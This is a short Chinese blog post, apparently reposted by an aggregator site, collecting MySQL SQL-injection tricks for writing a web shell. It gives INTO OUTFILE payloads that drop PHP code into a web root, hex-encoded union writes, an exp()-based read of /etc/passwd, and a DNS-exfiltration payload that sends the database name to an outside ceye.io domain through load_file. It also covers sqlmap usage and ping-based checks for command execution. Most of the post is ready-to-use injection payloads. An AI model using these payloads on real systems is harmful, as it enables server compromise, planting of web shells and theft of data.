mysql写Shell小技巧
Posted
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了mysql写Shell小技巧相关的知识,希望对你有一定的参考价值。
今天终于在表哥的帮助下解决了文件导入/出这个问题了。(很菜逼的一个问题),然后将最近看到的文章都自己测试了下,顺便奉上记录。 1.mysql数据库支持union的时候写文件小技巧: 采用常规的union写入,可以看到前面的字段占位数肯定也会被写入,替换成null也是一样的结果,这个对于写shell没啥大碍, 但是如果用来写bat,mof,vbs等文件就会出问题了,那么怎么去掉这个只写入我们需要的内容呢?采用hex编码就好了。 将我们要写入的内容使用hex编码在分段写在每个字段位上,这样就可以只写入我们需要的内容了。 2.不支持union的时候写入,很多人都不知道这个办法,以为要写入内容必须要支持union,看到一篇文章,可以不需要支持这个办法。 语法:select * from admin where id=1 into outfile ‘F:\\WWW\\phpinfo.php’ fields terminated by ‘<? phpinfo(); ?>’%23 可以看到成功写入,但是这个方法有一个弊病就是查询出来的数据必须大于或等于2以上才可以写入内容,写入的内容数=查询出来的数据-1 可以看到,当我们使前面的数据出错查不到数据的时候,写入是失败的。 看看sqlmap中的情况: 可以很明显的看到sqlmap中也有这种办法写入。(burp抓取sqlmap数据包:加上 --proxy "http://127.0.0.1:8080/" 在burp里可以看到请求) 当然可以看到也通过了常规的union写入文件。 同时附上一个函数exp()。通过这个函数也可以读取文件,但是写文件只能写入一个内容为0的文件,这里就必须结合其他的漏洞利用了,如:文件覆盖之类的。 读文件: select exp(~(select*from(select load_file(‘/etc/passwd‘))a)); 写文件: select exp(~(select*from(select ‘hello‘)a)) into outfile ‘C:/out.txt‘; //但是只能写一个0进去。 3.关于使用dns解析来让盲注更加简单。 首先看下load_file()这个函数,这个函数可以用来发送dns解析请求。 然后使用类似的语句:select id from admin where id=1 and if((select load_file(concat(‘\\\\\\\\‘,(select database()),‘.ceye.io\\\\abc‘))),1,1); 即可成功将database()解析到域名的dns前面。前提是支持读文件权限,这个在实战中占的比列大概只有%30左右吧。 还有就是命令执行同时也支持的,如: 实战中也类似这个道理。在可能存在命令执行的地方,ping+域名,或许就能查看到是否执行了。 本来是自己写的word作为记录储存的,顺便和大家分享下。 相关资料: https://ricterz.me/posts/%E7%AC% ... Injection%20Attacks https://bbs.ichunqiu.com/thread-22002-1-1.html http://lu4n.com/mysql-sqli-write-webshell-two-methods/ |
---恢复内容结束---
以上是关于mysql写Shell小技巧的主要内容,如果未能解决你的问题,请参考以下文章